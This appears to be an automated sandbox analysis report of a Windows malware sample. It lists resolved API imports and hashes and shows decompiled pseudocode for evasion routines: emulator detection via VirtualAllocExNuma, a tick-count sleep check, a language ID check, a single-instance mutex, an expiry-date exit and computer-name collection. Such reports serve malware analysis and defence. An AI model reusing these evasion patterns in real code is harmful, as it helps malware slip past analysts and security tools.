GetProcAddress.KERNEL32(75130000,00487708), ref: 0040C68B
GetProcAddress.KERNEL32(75130000,00484A18), ref: 0040C6A4
GetProcAddress.KERNEL32(75130000,00487738), ref: 0040C6BC
GetProcAddress.KERNEL32(75130000,00487750), ref: 0040C6D4
GetProcAddress.KERNEL32(75130000,00487768), ref: 0040C6ED
GetProcAddress.KERNEL32(75130000,004876D8), ref: 0040C705
GetProcAddress.KERNEL32(75130000,00484A38), ref: 0040C71D
GetProcAddress.KERNEL32(75130000,004876A8), ref: 0040C736
GetProcAddress.KERNEL32(75130000,004876F0), ref: 0040C74E
GetProcAddress.KERNEL32(75130000,00487720), ref: 0040C766
GetProcAddress.KERNEL32(75130000,00484A58), ref: 0040C77F
GetProcAddress.KERNEL32(75130000,00487990), ref: 0040C797
GetProcAddress.KERNEL32(75130000,00487A68), ref: 0040C7AF
GetProcAddress.KERNEL32(75130000,004877F8), ref: 0040C7C8
GetProcAddress.KERNEL32(75130000,00487810), ref: 0040C7E0
GetProcAddress.KERNEL32(75130000,004879C0), ref: 0040C7F8
GetProcAddress.KERNEL32(75130000,00484FD8), ref: 0040C811
GetProcAddress.KERNEL32(75130000,00485098), ref: 0040C829
GetProcAddress.KERNEL32(75130000,00487A50), ref: 0040C841
GetProcAddress.KERNEL32(75130000,004879D8), ref: 0040C85A
GetProcAddress.KERNEL32(75130000,00484EF8), ref: 0040C872
GetProcAddress.KERNEL32(75130000,00486818), ref: 0040C88A
GetProcAddress.KERNEL32(75130000,00487888), ref: 0040C8A3
GetProcAddress.KERNEL32(75130000,00487828), ref: 0040C8BB
GetProcAddress.KERNEL32(75130000,00484FF8), ref: 0040C8D3
GetProcAddress.KERNEL32(75130000,00484DD8), ref: 0040C8EC
GetProcAddress.KERNEL32(75130000,00485058), ref: 0040C904
GetProcAddress.KERNEL32(75130000,004879F0), ref: 0040C91C
GetProcAddress.KERNEL32(75130000,00485158), ref: 0040C935
GetProcAddress.KERNEL32(75130000,00487900), ref: 0040C94D
GetProcAddress.KERNEL32(75130000,00485118), ref: 0040C965
GetProcAddress.KERNEL32(75130000,00484DF8), ref: 0040C97E
GetProcAddress.KERNEL32(75130000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(75130000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(75130000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(75130000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(75130000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(004875A0,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(00487450,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNELBASE(004875E8,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(00487408,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(004873A8,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(004875D0,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(004873C0,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNELBASE(00487600,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(00487618,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(00487690,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(00487480,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(00487468,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(00487540,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(779C0000,00487288), ref: 0040CAF6
GetProcAddress.KERNEL32(779C0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(779C0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(70020000,004878A0), ref: 0040CB49
GetProcAddress.KERNEL32(70020000,004850B8), ref: 0040CB61
GetProcAddress.KERNEL32(70020000,00485078), ref: 0040CB79
GetProcAddress.KERNEL32(70020000,00484F18), ref: 0040CB92
GetProcAddress.KERNEL32(70020000,00487930), ref: 0040CBAA
GetProcAddress.KERNEL32(70020000,00484F38), ref: 0040CBC2
GetProcAddress.KERNEL32(70020000,00484ED8), ref: 0040CBDB
GetProcAddress.KERNEL32(70020000,00484E78), ref: 0040CBF3
GetProcAddress.KERNEL32(70020000,004850D8), ref: 0040CC0B
GetProcAddress.KERNEL32(70020000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(74EA0000,004878B8), ref: 0040CC47
GetProcAddress.KERNEL32(74EA0000,00487A08), ref: 0040CC60
GetProcAddress.KERNEL32(74EA0000,00485018), ref: 0040CC78
GetProcAddress.KERNEL32(74EA0000,00484EB8), ref: 0040CC90
GetProcAddress.KERNEL32(74EA0000,00487840), ref: 0040CCA9
GetProcAddress.KERNEL32(74EA0000,00487198), ref: 0040CCC1
GetProcAddress.KERNEL32(74EA0000,00484E58), ref: 0040CCD9
GetProcAddress.KERNEL32(74EA0000,004850F8), ref: 0040CCF2
GetProcAddress.KERNEL32(74EA0000,00487A80), ref: 0040CD0A
GetProcAddress.KERNEL32(74EA0000,00487A98), ref: 0040CD22
GetProcAddress.KERNEL32(74EA0000,00487A20), ref: 0040CD3B
GetProcAddress.KERNEL32(75530000,004878D0), ref: 0040CD60
GetProcAddress.KERNEL32(75530000,00484E98), ref: 0040CD78
GetProcAddress.KERNEL32(75530000,004878E8), ref: 0040CD91
GetProcAddress.KERNEL32(75530000,00485038), ref: 0040CDA9
GetProcAddress.KERNEL32(75530000,00487A38), ref: 0040CDC1
GetProcAddress.KERNEL32(75530000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(77620000,004877B0), ref: 0040CDFD
GetProcAddress.KERNEL32(77620000,004877C8), ref: 0040CE16
GetProcAddress.KERNEL32(77620000,00485138), ref: 0040CE2E
GetProcAddress.KERNEL32(77620000,00484F58), ref: 0040CE46
GetProcAddress.KERNEL32(77620000,004877E0), ref: 0040CE5F
GetProcAddress.KERNEL32(77620000,00487258), ref: 0040CE77
GetProcAddress.KERNEL32(77620000,00487858), ref: 0040CE8F
GetProcAddress.KERNEL32(77620000,00487870), ref: 0040CEA8
GetProcAddress.KERNEL32(77620000,00487918), ref: 0040CEC0
GetProcAddress.KERNEL32(77620000,00487948), ref: 0040CED8
GetProcAddress.KERNEL32(77620000,004871D8), ref: 0040CEF1
GetProcAddress.KERNEL32(77620000,00484DB8), ref: 0040CF09
GetProcAddress.KERNEL32(77620000,00487960), ref: 0040CF21
GetProcAddress.KERNEL32(77620000,00487978), ref: 0040CF3A
GetProcAddress.KERNELBASE(6DB00000,00486198), ref: 0040CF5B
GetProcAddress.KERNEL32(774C0000,00484F78), ref: 0040CF7C
GetProcAddress.KERNEL32(77730000,00484E18), ref: 0040CF9E
GetProcAddress.KERNEL32(74180000,00486958), ref: 0040CFC3
GetProcAddress.KERNEL32(74180000,00484E38), ref: 0040CFDB
GetProcAddress.KERNEL32(74180000,004867C8), ref: 0040CFF4
GetProcAddress.KERNEL32(74180000,00484F98), ref: 0040D00C
GetProcAddress.KERNEL32(74180000,004866D8), ref: 0040D024
GetProcAddress.KERNEL32(74180000,004879A8), ref: 0040D03D
GetProcAddress.KERNEL32(6F070000,00487AF8), ref: 0040D062
GetProcAddress.KERNEL32(6F070000,00487BE8), ref: 0040D07A
GetProcAddress.KERNEL32(6F070000,00484FB8), ref: 0040D093
GetProcAddress.KERNEL32(6F070000,0046A888), ref: 0040D0AB
GetProcAddress.KERNEL32(6F070000,004884F8), ref: 0040D0C3
GetProcAddress.KERNEL32(6F070000,00487AB0), ref: 0040D0DC
GetProcAddress.KERNEL32(77470000,00487C00), ref: 0040D0FD
GetProcAddress.KERNEL32(77470000,00487228), ref: 0040D115
GetProcAddress.KERNEL32(77470000,00487CF0), ref: 0040D12E
GetProcAddress.KERNEL32(75ED0000,004885F8), ref: 0040D14F
GetProcAddress.KERNEL32(75ED0000,00487AC8), ref: 0040D167
GetProcAddress.KERNEL32(739E0000,00486480), ref: 0040D18D
GetProcAddress.KERNEL32(739E0000,00488658), ref: 0040D1A5
GetProcAddress.KERNEL32(739E0000,00486908), ref: 0040D1BD
GetProcAddress.KERNEL32(739E0000,00487CC0), ref: 0040D1D6
GetProcAddress.KERNEL32(739E0000,00487B10), ref: 0040D1EE
GetProcAddress.KERNEL32(739E0000,00488518), ref: 0040D206
GetProcAddress.KERNEL32(739E0000,004884D8), ref: 0040D21F
GetProcAddress.KERNEL32(739E0000,00487B88), ref: 0040D237
GetProcAddress.KERNEL32(74510000,00488578), ref: 0040D258
GetProcAddress.KERNEL32(74510000,004885D8), ref: 0040D271
GetProcAddress.KERNEL32(6F0B0000,00487D20), ref: 0040D292

Strings

XrH, xrefs: 0040CE6A
lstrcpyA, xrefs: 0040C9CD
@uH, xrefs: 0040CACE
8JH, xrefs: 0040C710
hzH, xrefs: 0040C7A2
xNH, xrefs: 0040CBE6
htH, xrefs: 0040CABC
memcpy, xrefs: 0040CB18
lstrcpynA, xrefs: 0040C9E3
@xH, xrefs: 0040CC9B
8zH, xrefs: 0040CDB4
(rH, xrefs: 0040D108
PwH, xrefs: 0040C6C7
XxH, xrefs: 0040CE82
8PH, xrefs: 0040CD9C
GetEnvironmentVariableA, xrefs: 0040C99F
wH, xrefs: 0040CE51
XPH, xrefs: 0040C8F7
xPH, xrefs: 0040CB6C
HyH, xrefs: 0040CECB
8wH, xrefs: 0040C6AF
XOH, xrefs: 0040CE39
}H, xrefs: 0040D285
XNH, xrefs: 0040CCCC
hwH, xrefs: 0040C6DF
XJH, xrefs: 0040C771
InternetCrackUrlA, xrefs: 0040CC16
HvH, xrefs: 0040C58B
xyH, xrefs: 0040CF2C
zH, xrefs: 0040CD2D
8QH, xrefs: 0040CE21
PzH, xrefs: 0040C834
XQH, xrefs: 0040C927
`yH, xrefs: 0040CF14
8NH, xrefs: 0040CFCE
0yH, xrefs: 0040CB9D
SetEnvironmentVariableA, xrefs: 0040C9B6
memset, xrefs: 0040CB01
(xH, xrefs: 0040C8AE
XiH, xrefs: 0040CFB6
PtH, xrefs: 0040CA0C
(uH, xrefs: 0040C4C8
xOH, xrefs: 0040CF6F
xvH, xrefs: 0040C5D4
tH, xrefs: 0040C542
8OH, xrefs: 0040CBB5
wH, xrefs: 0040C759
pxH, xrefs: 0040CE9A
xH, xrefs: 0040CD83
{H, xrefs: 0040D06D
RegGetValueA, xrefs: 0040CDCC
uH, xrefs: 0040CA1D
CreateThread, xrefs: 0040C989
puH, xrefs: 0040C529
`vH, xrefs: 0040C5BB
0vH, xrefs: 0040C4F9

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: tH$ wH$ zH$ }H$(rH$(uH$(xH$0vH$0yH$8JH$8NH$8OH$8PH$8QH$8wH$8zH$@uH$@xH$CreateThread$GetEnvironmentVariableA$HvH$HyH$InternetCrackUrlA$PtH$PwH$PzH$RegGetValueA$SetEnvironmentVariableA$XJH$XNH$XOH$XPH$XQH$XiH$XrH$XxH$`vH$`yH$htH$hwH$hzH$lstrcpyA$lstrcpynA$memcpy$memset$puH$pxH$xNH$xOH$xPH$xvH$xyH$uH$wH$xH${H
API String ID: 2238633743-888649816
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x484d38
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x484a78
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,00484D38), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Strings

8MH, xrefs: 00406977
xJH, xrefs: 004069B5

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: 8MH$xJH
API String ID: 2797641603-3666235869
Opcode ID: 8300e3754aeb95f07b763999bdd8ad8653e9febb62694decc1cabb8774fb327a
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 8300e3754aeb95f07b763999bdd8ad8653e9febb62694decc1cabb8774fb327a
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0058003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0058024D

Strings

kernel32.dll, xrefs: 0058008F, 00580095
cess, xrefs: 0058018D

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a09487cd1e149a97cacfaebf5adc74f0e72bf6d0b1eae382a6e1df17f1b635c6
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 4A526B74A01229DFDBA4DF58C985BA8BBB1BF09304F1480D9E94DA7351DB30AE89DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00470CC8), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,0046F5D0), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,0046A7A8), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00470C08), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00470B78), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00470D28), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00470DB8), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00470CF8), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,0046AA28), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,0046AA48), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00470D40,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00470DA0,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75530000,00470C98), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,00484B98,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,004874F8), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00487528), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00484BB8), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00487630), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,004874C8), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00487570), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00487420), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,004873D8), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00487588), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00487648), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,004875B8), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00487660), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00487678), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00484D18), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,004873F0), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,004849D8), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,00484D38), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x484b98
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00484B98,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 00580DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00580223,?,?), ref: 00580E02
SetErrorMode.KERNELBASE(00000000,?,?,00580223,?,?), ref: 00580E07

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a992885c89bf85eb39910f3b5de41249294542621b3f1e7a83cd92281d1157c4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: A8D0123224522CB7DB403A94DC09BCEBF1CAF05BA7F008021FB0DE9581CBB09A4047EA

Uniqueness

Uniqueness Score: -1.00%

Function 005607A6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 005607EE

Memory Dump Source

Source File: 0000001D.00000002.379532136.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_560000_FD2B.jbxd

Similarity

